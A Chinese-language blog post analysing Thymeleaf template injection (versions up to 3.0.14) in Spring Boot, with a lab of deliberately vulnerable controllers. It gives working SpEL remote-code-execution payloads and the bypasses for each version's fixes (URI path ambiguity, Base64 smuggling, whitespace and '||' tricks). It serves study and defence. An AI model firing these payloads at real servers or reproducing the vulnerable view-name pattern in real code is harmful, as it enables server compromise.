Thymeleaf 模板注入原理分析
前言
本次记载 Thymeleaf 版本 <= 3.0.14 下的攻击手法, 当然 3.0.15 也有洞, 但利用方式变了, 故不记载.
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
环境搭建
在搭建 SpringBoot + Thymeleaf 环境时会存在一些坑点 (不使用网上给出的代码搭建), 在这里也将坑点记载一下.
定义pom.xml
:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.0.RELEASE</version><!-- 2.2.0.RELEASE 的 thymeleaf 版本是对的 -->
</parent>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
注意这里的注释, 因为 Thymeleaf 模板注入漏洞到 3.0.14, 中间存在一些绕过. 但再往后的版本则修复了.
关于内置版本问题我们可以通过 Maven 本地已导入的依赖进行查看:
随后就是往常的SpringBoot
环境搭建部分. 定义com.heihu577.MainApp
用于启动SpringBoot
:
@SpringBootApplication
publicclassMainApp{
publicstaticvoidmain(String[] args){
ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class, args);
}
}
定义com.heihu577.bean.User
类, 用于后续的表达式理解:
@Data
@NoArgsConstructor
@AllArgsConstructor
publicclassUser{
private Integer id;
private String name;
}
定义com.heihu577.controller.EvilController
, 用于测试与验证漏洞:
@Controller
publicclassEvilController{
@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
return payload;
}
}
定义com.heihu577.controller.HelloController
, 用于理解 Thymeleaf 表达式:
@Controller
publicclassHelloController{
@RequestMapping("/hello.html")
public String hi(@RequestParam(value = "id", required = false, defaultValue = "999") Integer id, Model model) { // 使用 map, 使用 ModelAndView 也可以
model.addAttribute("user", new User(id, "张三"));
model.addAttribute("message", "My Name Heihu577");
return"hello";
}
@RequestMapping("/insertFooterValue")
public String insertFooterValue(Map<Object, Object> map){
return"footer::copy"; // 只引入 footer.html 中的 copy 代码段的值
}
}
定义/resources/templates/footer.html
:
<htmlxmlns:th="http://www.thymeleaf.org">
<head>
<title>Hello</title>
<metacharset="UTF-8"/>
</head>
<body>
<divth:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
定义/resources/templates/hello.html
:
<htmlxmlns:th="http://www.thymeleaf.org">
<head>
<title>Hello</title>
<metacharset="UTF-8"/>
</head>
<body>
<h1th:text="Hi">文本输出演示</h1>
<h2th:text="${message}">通过message语法进行取出request域中的变量</h2>
<h4>[[${message}]] 这里是不通过 th 标签取出的变量</h4>
<h3th:text="${user.id}">通过点语法进行取出</h3>
<divth:object="${user}">
取出 JavaBean 的内容:
<divth:text="*{id}">取出ID属性</div>
<divth:text="*{name}">取出NAME属性</div>
</div>
<ath:href="@{'hello.html?id='+${user.id}}">URL 表达式</a>
<h4th:text="#{greeting('HAHAHA')}">消息表达式, 去找 hello.properties</h4>
<divth:insert="~{footer::copy}">我要把/resources/templates/footer.html模板中的内容插入到当前页面中,并且去找代码片段为copy的</div>
<divth:insert="~{footer}">我要把整个footer.html插入进来!!!</div>
<divth:fragment="ending">当前模板的最后标签~</div><!-- 定义片段表达式 -->
<divth:insert="~{::ending}">取出当前模板的ending, 效果与 ~{this::ending 相同}</div>
</body>
</html>
定义/resources/templates/hello.properties
:
name=Heihu577
greeting=Hello, {0}!
定义/resources/application.yml
:
server:
port:80
spring:
thymeleaf:
cache:false
prefix:classpath:/templates/
suffix:.html
定义完毕后, 结构如下:
漏洞分析
Thymeleaf 表达式
首先先加入命名空间
<htmlxmlns:th="http://www.thymeleaf.org">
随后即可使用 Thymeleaf 表达式进行获取后端所存储的数据, 语法格式如下:
|
|
|
|
---|---|---|---|
|
|
|
<p th:text="${userName}">中国</p> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
对于这个案例, 笔者在环境搭建时所定义了/hello.html
路由, 它放在HelloController
下, 如图:
这里返回了hello
模板最终会通过/resources/application.yml
中定义的spring.thymeleaf.prefix && spring.thymeleaf.suffix
最终找到对应的模板文件并解析, 关于运行结果, 用下图运行结果理解:
这里根据运行结果, 即可知道 Thymeleaf 的主要运行逻辑是什么, 不再过多解释, 出现问题的是片段表达式 ~{}
. 而在Thymeleaf
在SpringBoot
的模板渲染中, 如果返回的视图名称中含有::
, 则Thymeleaf
认为将其引入片段表达式, 而出现漏洞原因的主要也是该语法, 我们看一下如下返回结果:
所以核心问题是它在SpringBoot
底层是如何进行解析的.
版本 =< 3.0.11 分析
SpringBoot 视图解析
在漏洞分析之前, 这里会涉及到SpringBoot
的视图分发原理, 从SpringBoot
层跳跃到Thymeleaf
层的分析. 我们知道SpringBoot
底层的WEB
处理则是SpringMVC
核心原理, 而每次HTTP
请求, 这里定位到DispatcherServlet::doDispatch
方法, 看一下下面的运行逻辑:
这里最终会调用到ThymeleafView::renderFragment
方法进行解析我们方法的返回值, 还是那个道理, 我们依然关心它是如何进行解析片段表达式的.
片段表达式解析逻辑 & 漏洞分析 & payload
我们不关心其他的逻辑, 走向核心解析逻辑, 直接打入如下payload:
t3.0.11?payload=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
为什么 payload 中有 _ 与 ::
看一下是如何进行解析的, 定位到ThymeleafView::renderFragment
分析核心逻辑:
这里有两个信息:
-
我们的 payload 中必须存在 _ 下划线. -
使用正则表达式解析 __内容__ 中的内容部分.
RCE 的本质是什么
下面我们看一下《内容》部分被匹配到之后, 做了一些什么事情:
这里经过一系列调用栈调用到了SpelExpression::getValue
方法中, 实际上这是一个经典的SpEL
表达式注入漏洞的例子, 因为在研究SpEL
表达式注入时, 本质上也是SpelExpression::getValue
的锅:
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Heihu577').concat(#end)");
System.out.println(expression.getClass()); // class org.springframework.expression.spel.standard.SpelExpression
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
String string = expression.getValue(context).toString();
System.out.println(string);
所以只要调用到SpelExpression::getValue
方法, 若参数上下文允许的情况下, 是可以进行一个SpEL
表达式注入的.
为什么 payload 中有 $
特别注意: 调试这部分代码一定要重启一下 SpringBoot, 否则因为缓存机制从而无法定位到具体方法
而至于为什么调用栈中调用到了VariableExpression::executeVariableExpression
以及为什么payload
中含有${}
, 实际上是在StandardExpressionParser::parseExpression
方法中有解析逻辑:
可以看到的是, 在ExperssionParsingUtil::decomposeSimpleExpressions
中第203~216行的switch
代码块会对$, *, #, @, ~
进行筛选处理, 而如果筛选到了, 会返回不同的解析器, 下面我们看一下对于${}
的处理:
而筛选出不同的结果, 最后会通过SimpleExpression::executeSimple
方法进行分发调用:
static Object executeSimple(final IExpressionContext context, final SimpleExpression expression,
final IStandardVariableExpressionEvaluator expressionEvaluator, final StandardExpressionExecutionContext expContext){
if (expression instanceof VariableExpression) {
return VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);
}
if (expression instanceof MessageExpression) {
return MessageExpression.executeMessageExpression(context, (MessageExpression)expression, expContext);
}
if (expression instanceof TextLiteralExpression) {
return TextLiteralExpression.executeTextLiteralExpression(context, (TextLiteralExpression)expression, expContext);
}
if (expression instanceof NumberTokenExpression) {
return NumberTokenExpression.executeNumberTokenExpression(context, (NumberTokenExpression) expression, expContext);
}
if (expression instanceof BooleanTokenExpression) {
return BooleanTokenExpression.executeBooleanTokenExpression(context, (BooleanTokenExpression) expression, expContext);
}
if (expression instanceof NullTokenExpression) {
return NullTokenExpression.executeNullTokenExpression(context, (NullTokenExpression) expression, expContext);
}
if (expression instanceof LinkExpression) {
// No expContext to be specified: link expressions always execute in RESTRICTED mode for the URL base and NORMAL for URL parameters
return LinkExpression.executeLinkExpression(context, (LinkExpression)expression);
}
if (expression instanceof FragmentExpression) {
// No expContext to be specified: fragment expressions always execute in RESTRICTED mode
return FragmentExpression.executeFragmentExpression(context, (FragmentExpression)expression);
}
if (expression instanceof SelectionVariableExpression) {
return SelectionVariableExpression.executeSelectionVariableExpression(context, (SelectionVariableExpression)expression, expressionEvaluator, expContext);
}
if (expression instanceof NoOpTokenExpression) {
return NoOpTokenExpression.executeNoOpTokenExpression(context, (NoOpTokenExpression) expression, expContext);
}
if (expression instanceof GenericTokenExpression) {
return GenericTokenExpression.executeGenericTokenExpression(context, (GenericTokenExpression) expression, expContext);
}
thrownew TemplateProcessingException("Unrecognized simple expression: " + expression.getClass().getName());
}
所以使用了哪种类型的Expression
至关重要, 如果这里筛选到调用方法的逻辑, 最终调用到SPELVariableExpressionEvaluator::evaluate
则存在漏洞.
版本 = 3.0.12 分析
SpringBoot 版本切换
使用如下pom.xml
:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.0</version>
</parent>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
切换为2.5.0
版本的springboot
之后, 我们则可以进行分析3.0.12
版本的Thymeleaf
. 切换成功后可通过访问/hello.html
来检测环境是否正常.
防御与绕过
Payload
在该版本中, 我们不能通过@RequestParam
进行攻击了, 也就是说, 不再允许通过传参进行攻击, 只可以使用URI
进行攻击.
什么意思呢?也就是说, 我们只可以进行攻击如下Controller
中的方法:
@RequestMapping("/t3.0.12/{data}")
publicvoidt122(@PathVariable("data") String data) {}
注意这里的方法返回值必须为void
, 如果是单纯的String
, 也是不可以进行攻击的, 而针对于该控制器攻击的payload
为:
/t3.0.12//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x 或
/t3.0.12;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
SpringBoot 处理 URI & 默认视图核心逻辑
通过 URI 查找对应的方法 & 为什么 payload 中使用分号以及双杠
当一个请求到达以@RequestMapping
注解声明的方法之前, 会使用RequestMappingHandlerMapping
进行解析当前的URI
, 其目的是为了通过当前请求的 URI 来找到对应的方法 (也就是 HandlerMethod), 但解析URI
时会进行一些解码操作, 它的核心逻辑如下:
由于 SpringBoot 自己的UrlPathHelper::decodeAndCleanUriString
机制, 从而导致该版本的Thymeleaf
出现了可绕过的场景. 当获取完毕当前 URI 后会设置到当前 request 域的属性中:
当然这只是一部分原因, 造成主要原因还是因为方法值返回void
时, SpringBoot
提供默认视图的处理逻辑.
方法返回 void 默认视图处理 & 为什么方法值必须为 void
当一个方法值返回void
时, SpringBoot
会根据当前请求的URI
来进行分配默认视图, 它的代码逻辑在DispatcherServlet::applyDefaultViewName
方法, 代码逻辑如下:
所以这里视图名称的获取, 也是经过UrlPathHelper::decodeAndCleanUriString
处理后的.
检测视图名称是否在本次请求中出现过 [SpringRequestUtils.checkViewNameNotInRequest]
在ThymeleafView::renderFragment
方法中, 增加了一行方法调用, 它的逻辑如下:
而该方法的定义如下:
publicfinalclassSpringRequestUtils{
publicstaticvoidcheckViewNameNotInRequest(final String viewName, final HttpServletRequest request){
final String vn = StringUtils.pack(viewName);
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}
if (found) {
thrownew TemplateProcessingException(
"View name is an executable expression, and it is present in a literal manner in " +
"request path or parameters, which is forbidden for security reasons.");
}
}
privateSpringRequestUtils(){
super();
}
}
该方法的逻辑则是: 通过当前SpringBoot
传递过来的视图名称 (viewName) 中, 是否包含或等同于request.getRequestURI()
的值!
-
如果等同或包含了, 则意味着是危险请求, 直接通过抛出异常的方式来进行中止执行. -
反之, 则通过判断当前 URL 的所有传递过来的参数是否等同或包含.
修复参数传递问题 & 鸡肋的绕过方式 [第二种情况]
这里的第二点则将如下控制器形式修复掉了:
@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
return payload;
}
因为其中检测了参数值, 但是我们可以通过定义如下控制器进行绕过这个函数的检测 (虽然实战几乎碰不到这样的场景):
@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
returnnew String(Base64.getDecoder().decode(payload.getBytes()));
}
这里我们可以通过生成Base64
来绕过这个函数的检测:
String res = Base64.getEncoder().encodeToString(
URLDecoder.decode("__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x").getBytes()
);
System.out.println(res);
随后使用如下payload
即可攻击:
t3.0.11?payload=X18ke1QgKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYygiY2FsYyIpfV9fOjoueA==
根据默认视图名称歧义绕过 [第一种情况]
这也就是网上所流传的经典绕过思路了, 在我们之前所说过, 默认视图名称的获取, 是经过SpringBoot
的UrlPathHelper::decodeAndCleanUriString
方法处理后的.
但Thymeleaf
所定义的SpringRequestUtils.checkViewNameNotInRequest
方法是使用的原生的HttpServletRequest::getRequestURI
进行判断的, 所以根据如下方法:
@RequestMapping("/t3.0.12/{data}")
publicvoidt122(@PathVariable("data") String data) {}
当打入如下payload
时会产生歧义:
/t3.0.12//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x 或
/t3.0.12;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
具体的歧义点如下:
除了;
, 还有双写/
, 歧义点如下:
对 SpEL 表达式进行检测方法 & 为什么使用 T 关键字 [SpringStandardExpressionUtils::containsSpELInstantiationOrStatic]
该版本除了刚刚的那种检测机制, 还在调用SpEL
表达式之前, 通过SpringStandardExpressionUtils::containsSpELInstantiationOrStatic
方法进行检测了, 具体定义如下:
publicfinalclassSpringStandardExpressionUtils{
privatestaticfinalchar[] NEW_ARRAY = "wen".toCharArray();
privatestaticfinalint NEW_LEN = NEW_ARRAY.length;
publicstaticbooleancontainsSpELInstantiationOrStatic(final String expression){
finalint explen = expression.length();
int n = explen;
int ni = 0;
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
returntrue;
}
continue;
}
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} elseif (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
returntrue;
} elseif (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
returnfalse;
}
privateSpringStandardExpressionUtils(){
super();
}
}
可以看到其主要逻辑如下:
-
倒序检测是否包含 wen
关键字 -
在 (
的左边的字符是否是T
,如包含,那么认为找到了一个实例化对象
所以我们的绕过思路如下:
根据第一点: 抛出原有
payload
中使用new
的思路, 当然这种绕过形式在SpEL
中有很多方式. 就不一一举例了.根据第二点: 在 T 与 ( 之间插入可以被
SpEL
解析的空字符, 例如: 空格. 即可.
除空格以外的其他绕过思路
这里显然绕过第二点是有玩法的, 除了原payload
提供空格绕过以外, 我们可以通过编写如下POC
进行检测哪些字符可以被SpEL
解析:
publicclassT3{
publicstaticvoidmain(String[] args){
for (char i = 0; i < 0xff; i++) {
try {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression("T" + i + "(java.lang.Runtime)");
expression.getValue();
// 补全两位, 当作 URL 编码
System.out.println("%" + String.format("%02X", (int) i) + " 可以进行绕过~");
} catch (Exception e) {}
}
}
}
最终结果如下:
%00 可以进行绕过~
%09 可以进行绕过~
%0A 可以进行绕过~
%0D 可以进行绕过~
%20 可以进行绕过~
版本 = 3.0.14 分析
这里不会再分析3.0.13
, 原因则是: SpringBoot 2.5.7
版本使用的Thymeleaf 3.0.12
版本, 当切换为SpringBoot 2.5.8
之后直接跳跃到Thymeleaf 3.0.14
, 所以这里直接分析Thymeleaf 3.0.14
.
SpringBoot 版本切换
修改pom.xml
文件内容如下:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.8</version>
</parent>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
防御与绕过
Payload
在该版本中, 不再局限于void
方法, 使用@RequestParam
注解声明的方法, 依旧可以进行攻击, 也就是可以攻击如下控制器:
@RequestMapping("/t3.0.14/{data}")
publicvoidt122(@PathVariable("data") String data) {
}
@RequestMapping("/tt3.0.14")
public String t3014(String data){
return data;
}
其中 Payload 给上:
PathVariable 利用: __$%7C%7C{''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}__::.x
RequestParam 利用: __%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7D__%3A%3A.x
那么为什么又可以攻击@RequestParam
方法了呢?我们具体往下看.
SpringRequestUtils.checkViewNameNotInRequest 代码逻辑修改
其核心原因则是该方法的代码逻辑进行了一定的修改, 看一下更新后的代码逻辑:
所以这里仅仅只对方法返回的视图名称进行判断了, 当该函数被绕过后, 即可逃避掉该函数后面的对于参数检测的逻辑:
而我们的Payload
是绕过了containsExpression
这个方法的检测的, 其核心是因为在进入SpEL
表达式执行之前, 会对||
做置空处理.
SpEL 表达式执行之前 [LiteralSubstitutionUtil::performLiteralSubstitution]
我们可以定位到ExpressionParsingUtil::decompose
方法中看到在解析表达式之前, SpEL
表达式会做出怎样的解码操作:
而根据LiteralSubstitutionUtil::performLiteralSubstitution
这个方法的注释, 给出了如下案例:
* # ------------------------------------------------------------
* %CONTEXT
* onevar = 'Hello'
* twovar = 'World'
* # ------------------------------------------------------------
* %INPUT
* <p th:text="|${onevar} ${twovar}|">...</p>
* # ------------------------------------------------------------
* %OUTPUT
* <p>Hello World</p>
* # ------------------------------------------------------------
而并没有考虑到, ||
会被替换为空, 导致我们可以绕过SpringRequestUtils.checkViewNameNotInRequest
方法的检测.
SpringStandardExpressionUtils::containsSpELInstantiationOrStaticOrParam 代码逻辑修改
在这个版本下, 对该函数也进行了升级, 导致我们无法利用T空字符()
进行绕过了, 我们看一下具体的修改逻辑:
所以这里的绕过逻辑, 我们只需要通过反射的语法进行绕过即可, 不一定非要用 T 才能 RCE.
Reference
https://developer.aliyun.com/article/1368935
https://blog.csdn.net/qq_42674098/article/details/121558189
https://blog.csdn.net/byname1/article/details/143246069
https://www.freebuf.com/vuls/413661.html
https://mp.weixin.qq.com/s/pBt3Q0VF44AD7tTXxCD7Kg
https://www.cnblogs.com/CoLo/p/15507738.html#%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2
https://www.cnpanda.net/sec/1063.html
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/
https://mp.weixin.qq.com/s/Sk9ySY837o7U-NAn6dN0RA
原文始发于微信公众号(Heihu Share):Java 安全 | Thymeleaf 模板注入原理分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论